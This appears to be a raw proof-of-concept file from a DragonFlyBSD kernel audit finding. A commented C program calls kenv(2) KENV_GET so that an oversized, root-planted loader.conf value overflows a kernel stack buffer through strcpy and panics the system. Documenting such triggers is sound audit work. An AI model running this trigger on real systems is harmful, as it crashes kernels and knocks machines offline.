⬢ DragonFlyBSD Kernel Audit
DF-2894 / trigger.c
← back to finding ↓ download raw 
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/*
 * DF-2894 trigger — unprivileged kernel stack smash via kenv(2) KENV_GET.
 *
 * Precondition (planted once, requires root/loader access):
 *   /boot/loader.conf contains  audit.smash="<700 'A's>"
 *   -> kenv_init() (sys/kern/kern_environment.c:580) copies the unbounded
 *      string into the dynamic kenv table with no length validation.
 *
 * Trigger (unprivileged, any user):
 *   kenv(2) KENV_GET "audit.smash"
 *   -> sys_kenv() -> kgetenv() -> kenv_getstring_dynamic() returns a pointer
 *      to the 700-byte value -> strcpy(buf[258], cp) smashes the kernel
 *      stack of the calling thread  (sys/kern/kern_environment.c:231,239).
 *
 * Expected: kernel panic (return address overwritten with 0x41...) on the
 * INVARIANTS stock kernel; guest becomes unreachable.
 */
#include <err.h>
#include <stdio.h>
#include <stdlib.h>

int
main(int argc, char **argv)
{
	const char *name = (argc > 1) ? argv[1] : "audit.smash";
	char buf[512];
	int r;

	r = kenv(0 /* KENV_GET */, name, buf, sizeof(buf) - 1);
	if (r == -1)
		err(1, "kenv(KENV_GET, %s)", name);
	printf("kenv GET %s -> len=%d val=%.32s...\n", name, r, buf);
	return (0);
}